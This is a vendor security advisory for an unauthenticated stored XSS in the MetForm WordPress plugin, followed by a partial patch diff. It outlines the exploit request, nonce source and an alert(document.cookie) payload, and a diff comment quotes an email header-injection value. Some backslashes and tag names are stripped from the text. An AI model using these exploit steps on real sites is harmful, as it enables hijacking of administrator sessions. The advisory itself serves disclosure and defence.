Published : November 22, 2026

CVE-2026-116619: MetForm <= 4.3.3 Unauthenticated Stored Cross-Site Scripting via Text Editor Field Value PoC, Patch Analysis & Rule

Plugin metform
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 4.3.3
Patched Version 4.3.4
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-116619: MetForm <= 4.3.3 suffers from an unauthenticated stored cross-site scripting (XSS) vulnerability in the Text Editor field (internal widget type 'mf-text-editor'). The flaw resides in the way the plugin renders stored form submission data in the admin entry viewer and email templates. An attacker can inject arbitrary JavaScript into a published form that contains a Text Editor block, and the payload is stored as part of the entry data. When an administrator later views the entry in the WordPress admin dashboard, the malicious script executes. The CVSS score is 7.2 (High), and the CWE is 79 (Improper Neutralization of Input During Web Page Generation).

Root Cause: The vulnerability stems from insufficient output escaping in the entry data rendering functions. In `metform/core/entries/form-data.php`, the function that formats entry data for display (around lines 225-228 and 431-434) uses `wp_kses_post()` on the value of the Text Editor field. However, `wp_kses_post()` allows a wide range of HTML tags and attributes, including “ tags when the payload is crafted to bypass the filter (e.g., using event handlers or other allowed attributes). The patch introduces a new utility function, `MetFormUtilsUtil::kses_entry_rich_text()`, which applies a stricter allowlist of HTML tags and attributes, effectively removing dangerous content. The vulnerable code did not adequately sanitize the stored data before output, assuming that the input was already clean. But the input from the form submission is not sanitized at the point of storage; it is only filtered on output with `wp_kses_post()`, which is insufficient for XSS protection in this context.

Exploitation: An unauthenticated attacker can exploit this by submitting a crafted payload to a published MetForm form that contains a Text Editor field. The form’s public markup exposes a submission nonce as `data-form-nonce`, allowing any visitor to satisfy the submission barrier. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action `metform_form_submit` (the typical AJAX handler for MetForm submissions) and includes the field value containing a malicious script, such as `alert(document.cookie)` or a more sophisticated payload like ``. The entry is stored in the database. When an administrator views the entry details page in the WordPress admin (e.g., `/wp-admin/post.php?post=ENTRY_ID&action=edit`), the script executes in the admin’s browser. The payload can be designed to steal session cookies, perform actions on behalf of the admin, or redirect to malicious sites.

Patch Analysis: The patch changes the output escaping in `metform/core/entries/form-data.php` from `echo wp_kses_post($form_data[$key])` to `echo MetFormUtilsUtil::kses_entry_rich_text($form_data[$key])`. The new function, `kses_entry_rich_text()`, presumably uses a more restrictive set of allowed HTML tags and attributes, thereby preventing XSS. Additionally, the patch adds a check in `map-block-document.php` to skip the ‘text-editor’ widget type if MetForm Pro is not active, which may reduce the attack surface by not registering the field when not needed. The patch also removes several deprecated integrations and refactors hooks, but the critical fix is the stricter sanitization function for rich text fields. The before behavior allowed potentially dangerous HTML through `wp_kses_post()`, while the after behavior uses a custom allowlist that excludes script execution vectors.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser. This can lead to session hijacking, privilege escalation (by creating new admin accounts), data theft (including sensitive form submissions), and full site compromise (by injecting backdoors). The vulnerability is particularly severe because it requires no authentication and can be triggered by simply submitting a form, making it easy to exploit at scale. Any site running MetForm <= 4.3.3 with a published form containing a Text Editor field is at risk.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/metform/build/admin/admin-shell/index.asset.php
+++ b/metform/build/admin/admin-shell/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('regenerator-runtime', 'wp-i18n'), 'version' => 'd5737adbaeb1a7ba5afd');
+<?php return array('dependencies' => array('regenerator-runtime', 'wp-i18n'), 'version' => '5154dd942db11a77d2c4');
--- a/metform/build/frontend/app/index.asset.php
+++ b/metform/build/frontend/app/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-element', 'wp-i18n'), 'version' => '9333eb211b508861c1b3');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-element', 'wp-i18n'), 'version' => '4daa268f9f52b7f7e0ac');
--- a/metform/core/admin/views/settings.php
+++ b/metform/core/admin/views/settings.php
@@ -4,7 +4,6 @@

 use MetFormCoreAdminBase;
 use MetFormPlugin;
-use MetFormCoreIntegrationsMail_Chimp;
 use MetFormUtilsUtil;
 use MetForm_ProBasePackage;
 use MetForm_ProCoreIntegrationsPaymentPaypal;
@@ -1203,15 +1202,13 @@
 						<div class="mf-settings-section" id="mf-newsletter_integration">
 							<div class="mf-settings-single-section">
 								<div class="list-item">
-									<?php if (class_exists(Mail_Chimp::class)) : ?>
-										<div class="tab-header">
-											<h4 class="list-item-header"><?php esc_html_e('Newsletter Integration', 'metform') ?></h4>
-										</div>
+									<div class="tab-header">
+										<h4 class="list-item-header"><?php esc_html_e('Newsletter Integration', 'metform') ?></h4>
+									</div>

-										<div class="mf-dashboard__settings-api-wrapper">
-											<?php $news_letter_integration_function($settings); ?>
-										</div>
-									<?php endif; ?>
+									<div class="mf-dashboard__settings-api-wrapper">
+										<?php $news_letter_integration_function($settings); ?>
+									</div>
 								</div>
 							</div>
 						</div>
--- a/metform/core/compatibility/seo-plugin.php
+++ b/metform/core/compatibility/seo-plugin.php
@@ -29,6 +29,7 @@

 		// AIOSEO.
 		add_filter( 'aioseo_public_post_types', [ $this, 'exclude_post_types' ] );
+		add_filter( 'aioseo_page_builder_integration_disable', [ $this, 'disable_aioseo_page_builder' ], 10, 2 );

 		// Rank Math.
 		add_filter( 'rank_math/excluded_post_types', [ $this, 'exclude_post_types' ] );
@@ -50,6 +51,50 @@
 	}

 	/**
+	 * Disable AIOSEO's page-builder integration for MetForm's internal post types.
+	 *
+	 * AIOSEO initializes its Elementor integration on every request and may try to
+	 * read page-builder settings for these excluded post types. Besides being
+	 * unnecessary, that can trigger a warning when no dynamic settings group was
+	 * created for the post type.
+	 *
+	 * @param bool   $disabled         Whether the integration is disabled.
+	 * @param string $integration_slug Page-builder integration slug.
+	 * @return bool
+	 */
+	public function disable_aioseo_page_builder( $disabled, $integration_slug ) {
+
+		if ( $disabled || 'elementor' !== $integration_slug ) {
+			return $disabled;
+		}
+
+		$post_type = '';
+
+		// phpcs:disable WordPress.Security.NonceVerification.Recommended
+		if ( isset( $_GET['post_type'] ) ) {
+			$post_type = sanitize_key( wp_unslash( $_GET['post_type'] ) );
+		}
+
+		if ( ! $post_type ) {
+			foreach ( [ 'post', 'post_id', 'id', 'metform_builder_canvas', 'preview_id' ] as $key ) {
+				if ( empty( $_GET[ $key ] ) ) {
+					continue;
+				}
+
+				$post_type = get_post_type( absint( wp_unslash( $_GET[ $key ] ) ) );
+				break;
+			}
+		}
+		// phpcs:enable WordPress.Security.NonceVerification.Recommended
+
+		if ( ! $post_type ) {
+			$post_type = get_post_type();
+		}
+
+		return in_array( $post_type, self::POST_TYPES, true );
+	}
+
+	/**
 	 * Remove internal post types from supported lists.
 	 *
 	 * @param mixed $post_types Supported post types.
--- a/metform/core/entries/action.php
+++ b/metform/core/entries/action.php
@@ -14,7 +14,6 @@
     private $key_form_id;
     private $key_form_data;
     //private $key_form_settings;
-    private $key_browser_data;
     private $key_form_total_entries;
     private $key_form_file;
     private $key_payment_status;
@@ -50,7 +49,6 @@

         //$this->key_form_settings = 'metform_form__form_setting';
         $this->key_form_total_entries = 'metform_form__form_total_entries';
-        $this->key_browser_data = 'metform_form__entry_browser_data';
         $this->key_form_id = 'metform_entries__form_id';
         $this->key_form_data = 'metform_entries__form_data';
         $this->key_form_file = 'metform_entries__file_upload_new';
@@ -60,8 +58,6 @@

     public function submit($form_id, $form_data, $file_data, $page_id = '')
     {
-        error_log(print_r($form_data, true));
-
         $hidden_fields = isset($form_data['hidden-fields']) ? json_decode($form_data['hidden-fields'], true) : [];

         foreach ($hidden_fields as $key) {
@@ -280,30 +276,25 @@
             }
         }

-        // user login check and action
-        $required_loggin = isset($this->form_settings['require_login']) ? ((int) ($this->form_settings['require_login'])) : 0;
+        /**
+         * Lets an add-on block the submission before anything is stored.
+         * Return a WP_Error to block it: its code becomes the response
+         * failure_type and its message the error shown to the visitor.
+         *
+         * @param null|WP_Error $pre_check     Null, or a WP_Error from an earlier callback.
+         * @param int            $form_id
+         * @param array          $form_data
+         * @param array          $form_settings
+         */
+        $pre_check = apply_filters('metform/entries/submit/pre_check', null, $form_id, $form_data, $this->form_settings);

-        error_log(print_r($this->form_settings, true));
-        if (($required_loggin == 1) && (!is_user_logged_in())) {
+        if (is_wp_error($pre_check)) {
             $this->response->status = 0;
-            $this->response->failure_type = 'login_required';
-            $this->response->error = [ esc_html__('You must be logged in to submit form.', 'metform') ];
+            $this->response->failure_type = $pre_check->get_error_code();
+            $this->response->error = [ $pre_check->get_error_message() ];
             return $this->response;
         }

-        // Total entry limit check and prevent
-        if (isset($this->form_settings['limit_total_entries_status'])) {
-            $entry_limit = ((int) ($this->form_settings['limit_total_entries_status']));
-
-            if (($entry_limit == 1) && ($this->get_entry_count() >= $this->form_settings['limit_total_entries'])) {
-                $this->response->status = 0;
-                $this->response->failure_type = 'entry_limit';
-                $this->response->error = [ esc_html__('Form submission limit exceeded.', 'metform') ];
-
-                return $this->response;
-            }
-        }
-
         // signature input upload as image from base64
         if (class_exists('MetForm_ProBasePackage') && isset($form_data['mf-signature'])) {

@@ -343,23 +334,16 @@
             }
         }

-        // mailchimp email store action
-        if (class_exists('MetFormCoreIntegrationsMail_Chimp')) {
-            if (isset($this->form_settings['mf_mail_chimp']) && $this->form_settings['mf_mail_chimp'] == '1' && $this->email_name != null && $form_data[$this->email_name] != '') {
-
-                $mail_chimp = new MetFormCoreIntegrationsMail_Chimp();
-
-                if (array_key_exists("mf-listing-optin", $this->fields) && isset($form_data['mf-listing-optin'])) {
-                    $response = $mail_chimp->call_api($form_data, ['auth' => $this->form_settings, 'email_name' => $this->email_name]);
-                } elseif (!array_key_exists('mf-listing-optin', $this->fields)) {
-                    $response = $mail_chimp->call_api($form_data, ['auth' => $this->form_settings, 'email_name' => $this->email_name]);
-                }
-
-                $this->response->status = isset($response['status']) ? $response['status'] : 0;
-	            if($this->response->status == 0) { $this->response->failure_type = 'integration'; $this->response->error = [ esc_html__('Problem with your mailchimp integration.', 'metform') ]; }
-
-            }
-        }
+        /**
+         * Lets an add-on send the submission to a third-party service.
+         * Runs before the entry is stored, so $context['entry_id'] is not set
+         * yet and $context['form_data'] is the submitted data as received.
+         * Callbacks report a failure on $response (status, failure_type, error).
+         *
+         * @param object $response The response sent back to the browser.
+         * @param array  $context  See get_hook_context().
+         */
+        do_action('metform/entries/submit/integrations', $this->response, $this->get_hook_context($form_data, $form_data));

         // ActiveCampaign email store action

@@ -412,29 +396,6 @@
             }
         }

-        // data submit to slack check and action
-        if (class_exists('MetFormCoreIntegrationsSlack')) {
-            if (isset($this->form_settings['mf_slack']) && $this->form_settings['mf_slack'] == '1' && $this->email_name != null && $form_data[$this->email_name] != '') {
-
-                $url = $this->form_settings['mf_slack_webhook'];
-
-                //$this->response->data['slack_hook'] = $url;
-
-                if (array_key_exists('mf-listing-optin', $this->fields) && isset($form_data['mf-listing-optin'])) {
-
-                    $slack = new MetFormCoreIntegrationsSlack();
-                    $response = $slack->call_webhook($form_data, ['url' => $url, 'email_name' => $this->email_name]);
-                } elseif (!array_key_exists('mf-listing-optin', $this->fields)) {
-
-                    $slack = new MetFormCoreIntegrationsSlack();
-                    $response = $slack->call_webhook($form_data, ['url' => $url, 'email_name' => $this->email_name]);
-                }
-
-                $this->response->status = isset($response['status']) ? $response['status'] : 0;
-	            if($this->response->status == 0) { $this->response->failure_type = 'integration'; $this->response->error = [ esc_html__('Problem with your slack integration.', 'metform') ]; }
-            }
-        }
-
         /**
          * Checking if convertKit is exists
          * If exists calling the api
@@ -794,11 +755,15 @@
 	        if($this->response->status == 0) { $this->response->failure_type = 'integration'; $this->response->error = [ esc_html__('Problem with your RestApi integration.', 'metform') ]; }
         }

-        // send confirmation email to user
-        if (isset($this->form_settings['enable_user_notification']) && $this->form_settings['enable_user_notification'] == 1) {
-
-            $this->send_user_email($this->form_data, $this->file_upload_info);
-        }
+        /**
+         * Lets an add-on notify the submitter, for example with a confirmation email.
+         * $context['form_data'] is the sanitised data that was stored.
+         * Callbacks report a failure on $response (status, failure_type, error).
+         *
+         * @param object $response The response sent back to the browser.
+         * @param array  $context  See get_hook_context().
+         */
+        do_action('metform/entries/submit/notify_user', $this->response, $this->get_hook_context($this->form_data, $form_data));

         // send notification email to admins
         if (isset($this->form_settings['enable_admin_notification']) && $this->form_settings['enable_admin_notification'] == 1) {
@@ -1129,10 +1094,15 @@

         update_post_meta($this->entry_id, $this->key_form_file, $this->file_upload_info);

-        if (isset($form_settings['capture_user_browser_data']) && $form_settings['capture_user_browser_data'] == '1') {
-            update_post_meta($this->entry_id, $this->key_browser_data, $this->get_browser_data());
-            $this->response->status = 1;
-        }
+        /**
+         * Fires after an entry and its form data are saved.
+         *
+         * @param int   $entry_id
+         * @param int   $form_id
+         * @param array $form_data     Sanitised data that was stored.
+         * @param array $form_settings
+         */
+        do_action('metform/entries/after_insert', $this->entry_id, $form_id, $this->form_data, $form_settings);

         // entries of logged in user data
         if (is_user_logged_in()) {
@@ -1178,8 +1148,10 @@
      * "user@site.comrnBcc: victim@site.com" would be parsed by wp_mail() as
      * an additional header line, allowing arbitrary Bcc/Cc/header injection
      * (email header / CRLF injection).
+     *
+     * Public so MetForm Pro uses this same function for its emails.
      */
-    private function mf_sanitize_header_field($value)
+    public static function mf_sanitize_header_field($value)
     {
         $value = str_replace("", '', (string) $value);
         // Cut at the first line break instead of just deleting CR/LF chars,
@@ -1190,72 +1162,27 @@
         return trim($value);
     }

-    public function send_user_email($form_data, $file_info)
+    /**
+     * Data passed to the `metform/entries/submit/*` actions.
+     *
+     * @param array $form_data     The data the callback should use: as received
+     *                             before the entry is stored, sanitised after.
+     * @param array $raw_form_data The submitted data as received.
+     *
+     * @return array
+     */
+    private function get_hook_context($form_data, $raw_form_data)
     {
-
-        // get user mail from form data
-        $user_mail = null;
-        $all_email_names = $this->get_input_name_by_widget_type('mf-email') ?? [];
-        foreach ($all_email_names as $_email_key) {
-            if (!empty($form_data[$_email_key])) {
-                $user_mail = $form_data[$_email_key];
-                break;
-            }
-        }
-        $subject = isset($this->form_settings['user_email_subject']) ? $this->form_settings['user_email_subject'] : get_bloginfo('name');
-        $from = isset($this->form_settings['user_email_from']) ? $this->form_settings['user_email_from'] : null;
-        $reply_to = isset($this->form_settings['user_email_reply_to']) ? $this->form_settings['user_email_reply_to'] : null;
-        $body = nl2br(isset($this->form_settings['user_email_body']) ? $this->form_settings['user_email_body'] : null);
-        $user_email_attached_submission_copy = isset($this->form_settings['user_email_attach_submission_copy']) ? $this->form_settings['user_email_attach_submission_copy'] : null;
-
-        //replace data from shortcode
-        // Escape values going into the HTML email body, or a submitter can
-        // inject markup through any field the template references. Header
-        // fields stay raw; mf_sanitize_header_field() handles those below.
-        $body = Metform_Shortcode::instance()->get_process_shortcode($body, true);
-        $reply_to = Metform_Shortcode::instance()->get_process_shortcode($reply_to);
-        $subject = Metform_Shortcode::instance()->get_process_shortcode($subject);
-
-        if($user_email_attached_submission_copy == "1"){
-            $body = "<html><body><h2 style='text-align: center;'>" . get_the_title($this->form_id) . "</h2><h4 style='text-align: center;'>" . $body . "</h4>";
-            $form_html = MetFormCoreEntriesForm_Data::format_data_for_mail($this->form_id, $form_data, $file_info);
-            $body .= $form_html . "</body></html>";
-        }else{
-            $body = "<html><body><h2 style='text-align: center;'>" . get_the_title($this->form_id) . "</h2><h4 style='text-align: center;'>" . $body . "</h4>" . "</body></html>";
-        }
-
-        // body will be in the filter hook
-
-        $body = apply_filters('metform_confirmation_user_email_body', $body, $this->form_id, $form_data, $file_info, $this->form_settings);
-
-        // Prevent email header (CRLF) injection from user-supplied field values
-        // injected via shortcodes such as [mf-email].
-        $from = $this->mf_sanitize_header_field($from);
-        $reply_to = $this->mf_sanitize_header_field($reply_to);
-        $subject = $this->mf_sanitize_header_field($subject);
-        $user_mail = $this->mf_sanitize_header_field($user_mail);
-
-        $headers = 'MIME-Version: 1.0' . "rn";
-        $headers .= 'Content-type: text/html; charset=UTF-8' . "rn";
-
-        $headers .= 'From: ' . $from . "rn" .
-            'Reply-To: ' . $reply_to . "rn" .
-            'X-Mailer: PHP/' . phpversion();
-
-        if (!$user_mail) {
-		if(current_user_can( 'manage_options' )){
-			$this->response->status = 0;
-          	$this->response->failure_type = 'email'; $this->response->error[] = esc_html__('Mail not found.', 'metform');
-		}
-        } else {
-		$status = wp_mail($user_mail, $subject, $body, $headers);
-		if(current_user_can( 'manage_options' )){
-			if(empty($status)){
-				$this->response->failure_type = 'email'; $this->response->error[] = esc_html__('Please setup your SMTP mail server.', 'metform');
-				$this->response->status = 0;
-			}
-		}
-	  }
+        return [
+            'form_id'          => $this->form_id,
+            'form_data'        => is_array($form_data) ? $form_data : [],
+            'raw_form_data'    => is_array($raw_form_data) ? $raw_form_data : [],
+            'form_settings'    => $this->form_settings,
+            'fields'           => $this->fields,
+            'email_name'       => $this->email_name,
+            'entry_id'         => $this->entry_id,
+            'file_upload_info' => $this->file_upload_info,
+        ];
     }

     public function send_admin_email($form_data, $file_info)
@@ -1797,25 +1724,6 @@
         return $entry_count;
     }

-    public function get_browser_data()
-    {
-
-        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
-            $ip = sanitize_text_field(wp_unslash($_SERVER['HTTP_CLIENT_IP']));
-        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
-            $ip = sanitize_text_field(wp_unslash($_SERVER['HTTP_X_FORWARDED_FOR']));
-        } else {
-            $ip = isset($_SERVER['REMOTE_ADDR']) ? sanitize_text_field(wp_unslash($_SERVER['REMOTE_ADDR'])):'';
-        }
-
-        $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_USER_AGENT'])):'';
-
-        return [
-            'IP' => $ip,
-            'User_Agent' => $user_agent,
-        ];
-    }
-
     public function get_input_name_by_widget_type($widget_type, $fields = null)
     {
         global $w;
--- a/metform/core/entries/api.php
+++ b/metform/core/entries/api.php
@@ -3,7 +3,6 @@
 namespace MetFormCoreEntries;

 use MetFormCoreIntegrationsGet_Response;
-use MetFormCoreIntegrationsMail_Chimp;

 defined('ABSPATH') || exit;

@@ -226,16 +225,6 @@

         return $keys;
     }
-    public function get_export()
-    {
-        if(!current_user_can('manage_options')) {
-			return;
-		}
-
-        $id = $this->request['id'];
-
-        return Export::instance()->export_data($id);
-    }

     public function get_get_response_list_id()
     {
@@ -314,50 +303,6 @@
         return 'error';
     }

-    public function get_get_mailchimp_list()
-    {
-        if(!current_user_can('manage_options')) {
-			return;
-		}
-        $post_id = $this->request['id'];
-        return get_option('wpmet_get_mailchimp_list_' . $post_id);
-    }
-
-    public function get_store_mailchimp_list()
-    {
-        $nonce = $this->request->get_header('X-WP-Nonce');
-
-        if(!current_user_can('manage_options')) {
-			return;
-		}
-
-
-        if(!wp_verify_nonce($nonce, 'wp_rest')) {
-            return [
-				'status'    => 'fail',
-				'message'   => [  __( 'Nonce mismatch.', 'metform' ) ],
-			];
-        }
-
-        $post_id = $this->request['id'];
-        $data = MetFormCoreFormsAction::instance()->get_all_data($post_id);
-        $api_key = $data['mf_mailchimp_api_key'];
-
-        if (!preg_match('/^[a-z0-9]{32}-[a-z0-9]{3,4}$/', $api_key)) {
-            return [
-				'status'    => 'fail',
-				'message'   => [  __( 'Invalid_api_key.', 'metform' ) ],
-			];
-        }
-
-        $mailChimp_list = json_decode(Mail_Chimp::get_list($api_key)['body']);
-
-        delete_option('wpmet_get_mailchimp_list_' . $post_id, $mailChimp_list);
-        update_option('wpmet_get_mailchimp_list_' . $post_id, $mailChimp_list);
-
-        return get_option('wpmet_get_mailchimp_list_' . $post_id, $mailChimp_list);
-    }
-
     /**
      * Get MailerLite groups list (fetch from API and cache)
      */
--- a/metform/core/entries/export.php
+++ b/metform/core/entries/export.php
@@ -1,114 +0,0 @@
-<?php
-
-namespace MetFormCoreEntries;
-
-use MetFormTraitsSingleton;
-
-defined('ABSPATH') || exit;
-
-class Export {
-
-	use Singleton;
-
-    public function export_data($form_id)
-    {
-        if (!current_user_can('manage_options')) {
-            return;
-        }
-
-        $fields = Action::instance()->get_fields($form_id);
-        $title = get_the_title($form_id);
-
-        global $wpdb;
-        $entries = $wpdb->get_results($wpdb->prepare("SELECT `post_id`  FROM `" . $wpdb->prefix . "postmeta` WHERE `meta_key` = 'metform_entries__form_id' AND `meta_value` = %d", $form_id), OBJECT);
-        $entries = (is_array($entries)) ? $entries : [];
-        $export = [];
-        $header = [];
-
-        foreach ($entries as $entry) {
-            $entry_modify = [];
-
-            $form_entry = get_post_meta($entry->post_id, 'metform_entries__form_data', true);
-            $form_entry = (is_array($form_entry) ? $form_entry : []);
-            $file_entry = get_post_meta($entry->post_id, 'metform_entries__file_upload_new', true);
-            $file_entry = (is_array($file_entry) ? $file_entry : []);
-
-            $entry_data = array_merge($form_entry, $file_entry);
-            $entry_data = (is_array($entry_data)) ? $entry_data : [];
-
-            $entry_modify['ID'] = $entry->post_id;
-            $header['__id'] = 'ID';
-
-            foreach ($fields as $key => $value) {
-                $header_key = (($value->mf_input_name != '') ? htmlspecialchars($value->mf_input_name) : $key);
-                $header[$header_key] = empty($value->mf_input_label) ? $key : htmlspecialchars($value->mf_input_label);
-
-                if ($value->widgetType == 'mf-file-upload' && isset($entry_data[$key])) {
-                    $entry_modify[$header_key] = (isset($entry_data[$key]) ? ((isset($entry_data[$key]['url'])) ? $entry_data[$key]['url'] : ' ') : ' ');
-                    for ($index = 0; $index < isset( $entry_data[$key] ) && is_array($entry_data[$key]) ? count($entry_data[$key]) : 0 ; $index++) {
-                        $entry_modify[$header_key] .= (esc_url($entry_data[$key][$index]['url']) . " n");
-                    }
-                } else if ($value->widgetType == 'mf-simple-repeater') {
-                    $data_string = '';
-                    if (is_array($entry_data[$key])) {
-                        foreach ($entry_data[$key] as $key => $value) {
-                            $data_string .= htmlspecialchars($key) . ": " . htmlspecialchars($value) . " n";
-                        }
-                    }
-                    $entry_modify[$header_key] = $data_string;
-                } else {
-                    $entry_modify[$header_key] = (isset($entry_data[$key]) ? ((is_array($entry_data[$key])) ? implode(', ', $entry_data[$key]) : ($entry_data[$key])) : ' ');
-                }
-
-                // Prevent CSV injection by prefixing a single quote to values that begin with '=', '+', '-', '@'
-                if (preg_match('/^(=|+|-|@)/', $entry_modify[$header_key])) {
-                    $entry_modify[$header_key] = "'" . ltrim($entry_modify[$header_key], '='); // ltrim remove the equal sign from the formula  `=HYPERLINK()` will be `HYPERLINK()`
-                }
-            }
-
-            $entry_modify['DATE'] = get_the_date('d-m-Y', $entry->post_id);
-            $export[] = $entry_modify;
-            $header['__dt'] = 'DATE';
-        }
-
-        $file_name = $title . "-export-" . time() . ".csv";
-        // Sanitize the file name to prevent directory traversal
-        $file_name = sanitize_file_name($file_name);
-
-        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
-        header('Content-Description: File Transfer');
-        header("Content-type: text/csv");
-        // Sanitize the file name to prevent CSV injection
-        header("Content-Disposition: attachment; filename="" . str_replace(array('"', "'", "\", ""), '', $file_name) . """);
-        header("Expires: 0");
-        header("Pragma: public");
-        $file_pointer = @fopen('php://output', 'w');
-        $csv_header = false;
-
-        // sort data
-        usort($export, function ($item1, $item2) {
-            return $item1['ID'] <=> $item2['ID'];
-        });
-
-        foreach ($export as $data) {
-            // Add a header row if it hasn't been added yet
-            if (!$csv_header) {
-                // Use the keys from $data as the titles
-                // Sanitize the header row to prevent CSV injection
-                fputcsv($file_pointer, array_map(function ($value) {
-                    return str_replace(array('"', "'", "\", ""), '', $value);
-                }, $header));
-                $csv_header = true;
-            }
-            // Sanitize the data to prevent CSV injection
-            $sanitized_data = array_map(function ($value) {
-                return str_replace(array('"', "'", "\", ""), '', $value);
-            }, $data);
-            // Put the sanitized data into the stream
-            fputcsv($file_pointer, $sanitized_data);
-        }
-        // Close the file
-        fclose($file_pointer);
-        exit;
-    }
-}
 No newline at end of file
--- a/metform/core/entries/form-data.php
+++ b/metform/core/entries/form-data.php
@@ -225,7 +225,7 @@
                             }
                         }
                     } else if (isset($value['widgetType']) && $value['widgetType'] == 'mf-text-editor') {
-                        echo wp_kses_post($form_data[$key]);
+                        echo MetFormUtilsUtil::kses_entry_rich_text($form_data[$key]);
                     } else {
                         $output = isset($form_data[$key]) ? (is_array($form_data[$key]) ? implode(', ', $form_data[$key]) : $form_data[$key]) : '';
                         echo esc_html($output);
@@ -431,7 +431,7 @@
                                 $rendered = array_map(static fn($it) => $show_names ? $it['display'] : $it['value'], $items);
                                 echo "<td>" . esc_html(implode(', ', $rendered)) . "</td>";
                             } else if(isset($value['widgetType']) && $value['widgetType'] == 'mf-text-editor') {
-                                echo "<td>" . wp_kses_post($form_data[$key]) . "</td>";
+                                echo "<td>" . MetFormUtilsUtil::kses_entry_rich_text($form_data[$key]) . "</td>";
                             }else{
                                 $output = isset($form_data[$key]) ? (is_array($form_data[$key]) ? implode(', ', $form_data[$key]) : $form_data[$key]) : '';
                                 echo "<td>" . esc_html($output) . "</td>";
--- a/metform/core/entries/map-block-document.php
+++ b/metform/core/entries/map-block-document.php
@@ -52,6 +52,8 @@
      */
     private const UNNAMED_WIDGET_TYPES = ['simplecaptcha', 'recaptcha'];

+    private const PRO_ONLY_TYPES = ['text-editor'];
+
     /** Matches inputControls.js/optionControls.js's `validation.type` values to the legacy strings validate_form_data() switches on. */
     private const VALIDATION_TYPE_MAP = [
         'character' => 'by_character_length',
@@ -72,6 +74,10 @@
             $props = is_array($element['props'] ?? null) ? $element['props'] : [];
             $widget_type = self::WIDGET_TYPE_MAP[$type] ?? ('mf-' . $type);

+            if (in_array($type, self::PRO_ONLY_TYPES, true) && !class_exists('MetForm_ProBasePackage')) {
+                continue;
+            }
+
             if (in_array($type, self::UNNAMED_WIDGET_TYPES, true)) {
                 $fields[$widget_type] = self::create_field([
                     'mf_input_name' => $widget_type,
--- a/metform/core/entries/meta-data.php
+++ b/metform/core/entries/meta-data.php
@@ -147,11 +147,10 @@
     function add_browser_data_cmb()
     {
         $post_id = (isset($_GET['post']) ? sanitize_text_field(wp_unslash($_GET['post'])) : '');
-        $form_id = get_post_meta($post_id, 'metform_entries__form_id', true);
-        $form_settings = MetFormCoreFormsAction::instance()->get_all_data($form_id);

+        // Read-only view of data that is already stored on the entry.
         $this->browser_data = get_post_meta($post_id, 'metform_form__entry_browser_data', true);
-        if ($this->browser_data == '' && !isset($form_settings['capture_user_browser_data'])) {
+        if (empty($this->browser_data)) {
             return;
         }

--- a/metform/core/form-builder/editor/controller.php
+++ b/metform/core/form-builder/editor/controller.php
@@ -43,6 +43,20 @@
 	}

 	/**
+	 * Gets the nonce-protected URL that creates a new standalone form.
+	 *
+	 * @since 4.3.4
+	 *
+	 * @return string New form URL (HTML-escaped by wp_nonce_url()).
+	 */
+	public static function get_new_builder_url() {
+		return wp_nonce_url(
+			admin_url( 'admin.php?action=metform-new-builder' ),
+			'metform-new-builder'
+		);
+	}
+
+	/**
 	 * Gets the WordPress-rendered canvas document URL.
 	 *
 	 * @since 4.1.8
@@ -101,11 +115,16 @@
 	 * @return void
 	 */
 	public function create_and_open_new_builder() {
-		if ( ! current_user_can( 'edit_posts' ) ) {
+		// This GET request creates a post, so it must carry a nonce to stop
+		// cross-site requests from creating forms.
+		check_admin_referer( 'metform-new-builder' );
+
+		// Forms are published on creation, so require the form post type's own
+		// capabilities instead of the generic `edit_posts` a Contributor has.
+		if ( ! Forms_Builder::can_create_forms() ) {
 			wp_die( esc_html__( 'Sorry, you are not allowed to create forms.', 'metform' ), 403 );
 		}

-		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 		$post_id = isset( $_GET['post'] ) ? absint( $_GET['post'] ) : 0;
 		if ( $post_id && 'metform-form' === get_post_type( $post_id ) && current_user_can( 'edit_post', $post_id ) ) {
 			wp_safe_redirect( self::get_builder_url( $post_id ) );
--- a/metform/core/forms/action.php
+++ b/metform/core/forms/action.php
@@ -296,6 +296,17 @@
 			$all_settings['mf_conditional_redirect_rules'] = is_array( $decoded ) ? $decoded : [];
 		}

+		// Attach LeadSquared field mapping meta
+		$ls_fields = get_post_meta( $post_id, 'mf_leadsquared_fields', true );
+		if ( ! empty( $ls_fields ) ) {
+			$all_settings['mf_leadsquared_fields'] = $ls_fields;
+		}
+
+		$ls_static = get_post_meta( $post_id, 'mf_leadsquared_static', true );
+		if ( ! empty( $ls_static ) ) {
+			$all_settings['mf_leadsquared_static'] = $ls_static;
+		}
+
 		$is_builder = Repository::is_builder_form( $post_id );
 		$all_settings['is_builder_form'] = $is_builder;
 		$all_settings['builder_type']    = $is_builder ? 'metform' : 'elementor';
@@ -307,19 +318,4 @@
 	public function get_count_views($form_id) {
 		return get_post_meta($form_id, $this->key_form_count_views, true);
 	}
-
-	public function count_views($form_id) {
-
-		$form_setting = $this->get_all_data($form_id);
-		//return $form_setting;
-
-		if(isset($form_setting['count_views']) && $form_setting['count_views'] == '1') {
-			$count = $this->get_count_views($form_id);
-			$count = (int)$count;
-			$count++;
-			update_post_meta($form_id, $this->key_form_count_views, $count);
-
-			return $count;
-		}
-	}
 }
--- a/metform/core/forms/api.php
+++ b/metform/core/forms/api.php
@@ -33,6 +33,25 @@
             $zoho_fields = isset($form_setting['mf-zoho-custom-fields']) && isset($form_setting['mf-zoho-form-fields'])? array_combine($form_setting['mf-zoho-custom-fields'], $form_setting['mf-zoho-form-fields']) : '';
